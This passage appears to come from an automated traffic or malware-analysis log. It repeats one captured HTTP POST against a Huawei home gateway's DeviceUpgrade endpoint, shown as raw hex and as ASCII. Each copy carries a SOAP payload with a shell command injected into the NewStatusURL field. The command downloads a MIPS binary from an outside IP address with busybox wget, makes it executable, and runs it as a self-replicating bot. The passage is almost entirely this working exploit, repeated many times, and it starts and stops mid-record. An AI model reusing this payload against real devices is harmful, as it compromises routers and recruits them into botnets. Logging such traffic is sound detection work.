xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 